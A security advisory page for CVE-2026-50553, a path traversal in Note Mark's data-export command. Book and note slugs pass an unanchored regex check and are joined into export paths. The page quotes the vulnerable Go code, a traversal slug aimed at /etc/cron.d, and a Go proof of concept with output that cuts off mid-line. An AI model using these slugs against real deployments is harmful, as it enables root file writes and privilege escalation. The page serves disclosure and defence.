high

CVE-2026-50553

Go · github.com/enchant97/note-mark/backend

Summary

Note Mark: Path traversal via unsanitized book/note slug in migrate export (sibling of GHSA-g49p)

Severity
high
EPSS
0.4% (p31)
CWE
CWE-20, CWE-22
Also known as
GHSA-rqrh-8wpv-x7hh
Published
2026-07-09
Updated
2026-07-09

Advisory details

Summary

Note Mark validates book and note slug values with the OpenAPI/huma tag pattern:"[a-z0-9-]+". huma compiles this with regexp.MustCompile(s.Pattern) and tests it with patternRe.MatchString(str), an UNANCHORED match. Because the pattern is not anchored (^...$), any string that merely CONTAINS one [a-z0-9-] substring passes validation. A slug such as ../../../../../../tmp/escape is accepted and stored verbatim.

The data-export CLI commands (note-mark migrate export and note-mark migrate export-v1) join these unsanitized slugs straight into the output path with path.Join / filepath.Join, then os.MkdirAll the directory and os.Create the note file. path.Join resolves the ../ segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write.

This is the unguarded sibling of GHSA-g49p-4qxj-88v3 (CVE class CWE-22 in the same export sinks). That fix added filepath.Base(asset.Name) to sanitize the asset filename, but the adjacent path components book.Slug and note.Slug — used in the very same path.Join calls in the same two export functions — were left raw, and their input-side pattern guard is bypassable as shown above.

Vulnerable code

Slug input validation (backend/db/types.go, v0.19.4):

type CreateBook struct {
	Name     string `json:"name" required:"true" minLength:"1" maxLength:"80"`
	Slug     string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
	IsPublic bool   `json:"isPublic,omitempty" default:"false"`
}

type CreateNote struct {
	Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
	Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
}

huma applies the pattern UNANCHORED (github.com/danielgtaylor/huma/v2@v2.37.3):

// schema.go
if s.Pattern != "" {
	s.patternRe = regexp.MustCompile(s.Pattern)
// validate.go
if s.patternRe != nil {
	if !s.patternRe.MatchString(str) {
		res.Add(path, v, s.msgPattern)

regexp.MatchString("[a-z0-9-]+", "../../../../tmp/escape") is true (it matches the tmp substring), so the traversal slug passes and BooksService.CreateBook / NotesService store it verbatim.

Export sinks (backend/cli/migrate.go, v0.19.4). The asset filename was sanitized by the GHSA-g49p fix; the sibling slug path components were not:

// commandMigrateExportDataV1 / commandMigrateExportData
for _, book := range user.Books {
	bookDir := path.Join(exportDir, user.Username, book.Slug)   // book.Slug raw
	for _, note := range book.Notes {
		noteDir := path.Join(bookDir, note.Slug)                // note.Slug raw
		if err := os.MkdirAll(noteDir, os.ModePerm); err != nil {
			return err
		}
		f, err := os.Create(path.Join(noteDir, "_index.md"))    // escapes exportDir
// the same functions DO sanitize the sibling asset name:
assetFileName := filepath.Base(asset.Name)
if assetFileName == "/" || assetFileName == "." {
	log.Printf("disallowed asset filename found '%s', skipping\n", asset.Name)
	continue
}
f, err := os.Create(path.Join(assetsDir, asset.ID.String()+"."+assetFileName))

Impact

A low-privilege authenticated user (any registered account that can create a book/note) sets a traversing slug. When an administrator later runs note-mark migrate export or export-v1 (a routine backup/migration operation, commonly as root in Docker), the exporter creates attacker-chosen directories and writes the note's _index.md to an arbitrary filesystem location outside the export directory. With root, this allows writing to /etc/cron.d/, systemd unit directories, or other startup paths, escalating to code execution as root. Same trust boundary and severity class as GHSA-g49p-4qxj-88v3.

Attack scenario

  1. Attacker registers / uses any normal user account.
  2. Attacker POST /api/books (or a note) with slug = ../../../../../../etc/cron.d/x (passes the unanchored [a-z0-9-]+ pattern). Stored verbatim.
  3. Admin runs note-mark migrate export-v1 --export-dir /data/backup (root).
  4. Exporter does path.Join("/data/backup", username, "../../../../../../etc/cron.d/x") which yields /etc/cron.d/x, then os.MkdirAll creates it and os.Create(path.Join(noteDir, "_index.md")) writes attacker-influenced content outside /data/backup.

Proof of concept

Self-contained Go reproducer pinning huma v2.37.3 (Note Mark's exact version) and Note Mark's exact CreateBook DTO + the exact export path.Join expression. It demonstrates (a) the traversal slug passes huma validation, (b) a negative control that genuinely violates the charset is rejected, (c) the export sink writes the file outside the export root.

// go.mod: module nmpoc; go 1.24; require github.com/danielgtaylor/huma/v2 v2.37.3
package main

import (
	"context"
	"fmt"
	"net/http"
	"net/http/httptest"
	"os"
	"path"
	"strings"

	"github.com/danielgtaylor/huma/v2"
	"github.com/danielgtaylor/huma/v2/adapters/humago"
)

// Mirror of note-mark backend/db/types.go:24-28 CreateBook DTO at v0.19.4.
type CreateBook struct {
	Name     string `json:"name" required:"true" minLength:"1" maxLength:"80"`
	Slug     string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
	IsPublic bool   `json:"isPublic,omitempty" default:"false"`
}
type CreateBookInput struct{ Body CreateBook }
type CreateBookOutput struct {
	Body struct {
		Slug string `json:"slug"`
	}
}

func main() {
	mux := http.NewServeMux()
	api := humago.New(mux, huma.DefaultConfig("note-mark-poc", "1.0.0"))
	var stored string
	huma.Register(api, huma.Operation{OperationID: "create-book", Method: http.MethodPost, Path: "/api/books"},
		func(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) {
			stored = in.Body.Slug // BooksService.CreateBook stores Slug verbatim
			out := &CreateBookOutput{}
			out.Body.Slug = in.Body.Slug
			return out, nil
		})

	const traversalSlug = `../../../../../../tmp/nmpoc-escape`
	body := fmt.Sprintf(`{"name":"x","slug":%q}`, traversalSlug)
	req := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(body))
	req.Header.Set("Content-Type", "application/json")
	rec := httptest.NewRecorder()
	mux.ServeHTTP(rec, req)
	fmt.Printf("[validation] slug=%q status=%d stored=%q\n", traversalSlug, rec.Code, stored)

	// Negative control: a slug with NO [a-z0-9-] char anywhere must be rejected.
	negReq := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(`{"name":"x","slug":"@@@@"}`))
	negReq.Header.Set("Content-Type", "application/json")
	negRec := httptest.NewRecorder()
	mux.ServeHTTP(negRec, negReq)
	fmt.Printf("[neg-control] slug=\"@@@@\" status=%d (expect 422)\n", negRec.Code)

	// Export sink expression from backend/cli/migrate.go:187,191,203.
	exportDir := "/tmp/nmpoc-exportroot"
	_ = os.RemoveAll(exportDir)
	_ = os.RemoveAll("/tmp/nmpoc-escape")
	_ = os.MkdirAll(exportDir, 0o755)
	bookDir := path.Join(exportDir, "victim", stored)
	noteDir := path.Join(bookDir, "n")
	_ = os.MkdirAll(noteDir, 0o755)
	outPath := path.Join(noteDir, "_index.md")
	_ = os.WriteFile(outPath, []byte("PWNED-NOTE-CONTENT\n"), 0o644)
	escaped := !strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+"/")
	fmt.Printf("[export] joined=%q escapedExportDir=%v\n", outPath, escaped)
	if d, err := os.ReadFile("/tmp/nmpoc-escape/n/_index.md"); err == nil {
		fmt.Printf("[export] SENTINEL written OUTSIDE exportDir => %q\n", strings.TrimSpace(string(d)))
	}
}

Verbatim output (go run ., huma v2.37.3, go1.26.1):

[validation] slug="../../../../../../tmp/nmpoc-escape" status=200 stored="../../../../../../tmp/nmpoc-escape"
[neg-control] slug="@@@@" status=422 (expect 422)
[export] joined="/tmp/nmpoc-escape/n/_index.md" escapedExportDir=true
[export] SENTINEL written OUTSIDE expor

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.